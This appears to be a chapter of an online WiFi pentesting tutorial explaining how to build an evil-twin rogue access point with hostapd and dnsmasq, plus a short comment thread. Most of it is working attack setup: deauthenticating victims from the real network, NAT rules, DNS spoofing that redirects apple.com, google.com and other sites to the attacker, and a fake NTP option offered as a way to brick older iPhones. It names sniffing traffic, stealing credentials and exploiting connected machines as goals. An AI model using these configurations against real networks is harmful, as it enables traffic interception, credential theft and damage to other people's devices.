How to Hack WiFi with Rogue Access Point

It is often pain in the butt to setup a working Rogue Access Point with (isc!) DHCP server.

Most users either don't know how to hack WiFi or find a hard time configuring the required setup.

Many find it difficult to perform flexible tasks with the rogue access points using airbase-ng but end up getting frustrated.

Rogue Access Point

rAP

noun

DEFINITION

An unauthorised access point installed on a wired corporate network that exposes network resources to unwanted users

airbase-ng is a nice little WiFi hacking tool, part of aircrack-ng suite of tools with very limited options along with a full-blown, memory hungry, hard to maintain (isc!)DHCP server which itself isn't required at minute operational levels or especially when you are working on embedded, lesser powerful devices like raspberry pi.

hostapd (Host access point daemon) is a very flexible and lightweight software access point capable of turning normal NICs into full-blown (real) access points and authentication servers.
Hostapd along with Apache can do a lot of interesting things, but a few of those aspects will be covered in this book.

dnsmasq is a lightweight DHCP and caching DNS server.
Dnsmasq accepts DNS queries and either answers them from a small, local, cache or forwards them to a real, recursive, DNS server.
Dnsmasq is coded with small embedded systems in mind. It aims for the smallest possible memory footprint compatible with the supported functions and allows unneeded functions to be omitted from the compiled binary.

Before jumping right into the possibilities of a fake AP, you must make sure that our configuration files are well settled up.
This will allow one to ready-to-go according to the scenario and would save a lot of time.

Understanding the Basic Attack Scenario

We scan the air and gather information about the target access point.

Information like:

- **ESSID**: Extended Service Set Identifier aka AP Name
- **BSSID**: Basic Service Set Identifier aka AP MAC address
- **Channel number**
- **Connected clients**' aka victim

We create an access point with same name as of our target AP (***rsX***), though operating channel may be different.

De-authenticate the client from real AP. Wait for him/her to connect to our fake AP (***rsX***)

The moment victim associates with our fake AP, s/he is allocated an IP address.

Now we have IP level access to the victim machine.

Here you can do a lot of stuff like:

- Port scan the machine/s
- Set up Captive Portal and pwn the victim
- Sniff victim's Internet traffic
- Exploit into the machine
- Steal credentials
- Post exploitation, which is a whole new dimension in itself

But to make all of these possible you should be prepared with your tools. As being said

A craftsman is only as good as his tools

Configuring the Rogue Access Point

Hostapd

To create a specific type of access point, be it WPA/2 personal, enterprise or karma attack.

Keep everything commented in your arsenal, for later use.

Dnsmasq

Lightweight DNS/DHCP server. It is used to resolve dns requests from/to a machine and also acts as DHCP server to allocate IP addresses to the clients.

Remember IP level connectivity to client? thanks to dnsmasq

Apache

Basically, it acts as a web server to the client (victim). But you can transcend capabilities of your web server and fake AP using this powerful tool, apache.

Though it's not necessary to have apache and/or mysql in just any attack.

Mysql

All the client information is stored in the database. So, you better have a corresponding database, tables, columns pre-setup.

hostapd and *dnsmasq* are required in just any case you want to setup a rogue access point. Though there are some advanced techniques which may differ according to the attack scenario.

Advanced techniques which may use flexibility and features of *apache* and *mysql*

Example:

Say you force-connected victim to your AP and simply want to sniff or redirect the traffic. You do not need apache at all.

But in case you want to respond to the web based requests made by the victim, you can

manipulate it in a certain way to get the maximum sensitive information out of it.
Kind of lost? No worries upcoming chapters will make it clearer.

We will learn about different attack scenarios and variety of roles of apache and mysql in it.
But before that let us setup the fundamentally required tools i.e. hostapd, dnsmasq

Installation:

Make sure latest version of tools is installed:

```
apt update
apt install hostapd dnsmasq apache2 mysql
```

Configure hostapd

Create a directory for saved configuration files. Open Terminal and create hostapd config file.

```
$ vi hostapd.conf
```

hostapd.conf

```
interface=<Your Fake AP interface>
driver=nl80211
ssid=<Desired AP Name>
hw_mode=g
channel=<Operating Channel #>
macaddr_acl=0
```

```
auth_algs=1
ignore_broadcast_ssid=0
```

Make sure you edit the changes accordingly every time you perform an attack.

Operating Channel number can cause issues if not chosen properly.

Configure dnsmasq

```
$ vi dnsmasq
```

```
dnsmasq.conf

interface=<Fake AP Interface name>
dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
```

Make sure to define proper interface in dnsmasq.conf file.

Parameter Breakdown:

```
dhcp-range=10.0.0.10,10.0.0.250,12h:  Client IP address will range from 10.0.0.10 to 10.0.0.2
dhcp-option=3,10.0.0.1:  3 is code for Default Gateway followed by IP of D.G i.e. 10.0.0.1
dhcp-option=6,10.0.0.1:  6 for DNS Server followed by IP address
```

That's all for configuration. Simple, isn't it?
Assuming that you've already setup the mysql database and required web files in the apache working directory, as taught in previous segment of this chapter, let's run the server and our fake AP now

Open new Terminal and run hostapd:

```
cd ~/Desktop/fakeap/
hostapd hostapd.conf
```

To allocate IP addresses to victims, run dnsmasq.
Before that, set IP address for wlan0 interface to enable IP networking, so that dnsmasq can process the incoming requests and direct the traffic accordingly.

Open a new Terminal for dnsmasq:

```
cd ~/Desktop/fakeap/
ifconfig wlan0 10.0.0.1       # Set class-A IP address to wlan0
dnsmasq -C dnsmasq.conf -d    # -C: configuration file. -d: daemon (as a process) mode
```

as soon as victim connects you should see similar output for hostapd and dnsmasq Terminal windows:

```
[ hostapd ]
```

```
Using interface wlan0 with hwaddr 00:c0:ca:5a:34:b7 and ssid "rootsh3ll"
wlan0: interface state UNINITIALIZED->ENABLED
wlan0: AP-ENABLED
wlan0: STA 2c:33:61:3a:c4:2f IEEE 802.11: authenticated
wlan0: STA 2c:33:61:3a:c4:2f IEEE 802.11: associated (aid 1)
wlan0: AP-STA-CONNECTED 2c:33:61:3a:c4:2f
wlan0: STA 2c:33:61:3a:c4:2f RADIUS: starting accounting session 596B9DE2-00000000
```

[dnsmasq]

```
dnsmasq: started, version 2.76 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua TFTP conntrac
dnsmasq-dhcp: DHCP, IP range 10.0.0.10 -- 10.0.0.250, lease time 12h
dnsmasq: using nameserver 8.8.8.8#53
dnsmasq: reading /etc/resolv.conf
dnsmasq: using nameserver 8.8.8.8#53
dnsmasq: using nameserver 192.168.74.2#53
dnsmasq: read /etc/hosts - 5 addresses
dnsmasq-dhcp: 1673205542 available DHCP range: 10.0.0.10 -- 10.0.0.250
dnsmasq-dhcp: 1673205542 client provides name: rootsh3ll-iPhone
dnsmasq-dhcp: 1673205542 DHCPDISCOVER(wlan0) 2c:33:61:3a:c4:2f
dnsmasq-dhcp: 1673205542 tags: wlan0
dnsmasq-dhcp: 1673205542 DHCPOFFER(wlan0) 10.0.0.247 2c:33:61:3a:c4:2f
dnsmasq-dhcp: 1673205542 requested options: 1:netmask, 121:classless-static-route, 3:router,
<-----------------------------------------SNIP----------------------------------------->
dnsmasq-dhcp: 1673205542 available DHCP range: 10.0.0.10 -- 10.0.0.250
```

Now you can enable NAT by setting Firewall rules in iptables

```
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
```

and enable internet access for victims:

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

Here’s for some extra topping…

Heard about iOS’s 1970 Bug by faking NTP (Network Time Protocol) Server, where if you set an iOS < 10.1.1 date to 01/01/1970 it will brick your device permanently beyond repair? Yes, that is as easy to change this option to NTP server’s

NTP Server

```
dhcp-option=42,0.0.0.0
```

`42` tells dnsmasq to redirect all NTP requests for time synchronisation to `0.0.0.0` i.e. any interface of our machine.

Here is a configuration for NetBIOS, note that we do not need it in our current setup

44-47 NetBIOS

```
dhcp-option=44,0.0.0.0

dhcp-option=45,0.0.0.0

dhcp-option=46,8

dhcp-option=47
```

Breakdown

```
server=8.8.8.8 : Optional for public DNS server, where 8.8.8.8  is Google’s DNS

Log-queries : Enable query logging

Log-dhcp : Enable DHCP logging

listen-address=127.0.0.1 : Dnsmasq will listen on localhost for local/redirected traffic. So
```

Optional configurations

You can create an optional fakehosts.conf file for dnsmasq to allow it to redirect a target website traffic to your desired IP address. It will simply tell client that target-site.com Is hosted on our target IP address.

```
vi fakehosts.conf
```

hostapd.conf

```
10.0.0.1 apple.com

10.0.0.1 google.com

10.0.0.1 android.clients.google.com
```

```
10.0.0.1 microsoft.com
10.0.0.1 android.com
```

That's all. Just pass the file with `-H` flag to dnsmasq and all your traffic for these sites will redirect to your apache server.

You can also use multiple IP (1 IP/domain) addresses to redirect traffic to another machine, be it public or private IP, example:

fakehosts.conf

```
10.0.0.1 apple.com
10.0.0.12 google.com
10.0.0.240 android.clients.google.com
52.25.230.12 microsoft.com
10.0.0.1 android.com
```

It will spoof the traffic requests accordingly.

If you frequently connect to your mobile hotspot and also want to pwn the machines in the vicinity you should keep you `wpa_supplicant` configuration ready.
After killing network-manager you can still connect to Wi-Fi AP using wpa_supplicant utility.

Save the PSK in a file:

Syntax: `wpa_passphrase [ESSID] [Passphrase] > wpa.conf`

```
wpa_passphrase rootsh3ll iamrootsh3ll > wpa.conf
```

It will create a file, `wpa.conf`, with content:

```
network={
ssid="rootsh3ll"
#psk="iamrootsh3ll"
psk=1f4b02fe4c82f4e0262e6097e7bad1f19283b6687f084f73331db86c62498b40
}
```

You can connect to WiFi using your WiFi/Station interface

```
wpa_supplicant -D nl80211 -i wlan0 -c wpa.conf
```

That's all the setting you need to preserve for saving time and effort.

Download **All 10 Chapters** of WiFi Pentesting and Security Book...

READ DESCRIPTION

PDF version contains all of the content and resources found in the web-based guide

2 Comments rootsh3ll.com 1 Login

Recommend Tweet Share Sort by Newest

Join the discussion…

LOG IN WITH OR SIGN UP WITH DISQUS ?

Name

Hash3liZer • 2 years ago

Believe me, its the best tutorial I'd ever read related to WiFi-Phishing. It's been the 9th time, i am reading this again.

1 • Reply • Share ›

Hardeep Singh Mod Hash3liZer • 2 years ago

Glad you found it helpful Shellvoide! :)

• Reply • Share ›

Subscribe Add Disqus to your site Disqus' Privacy Policy DISQUS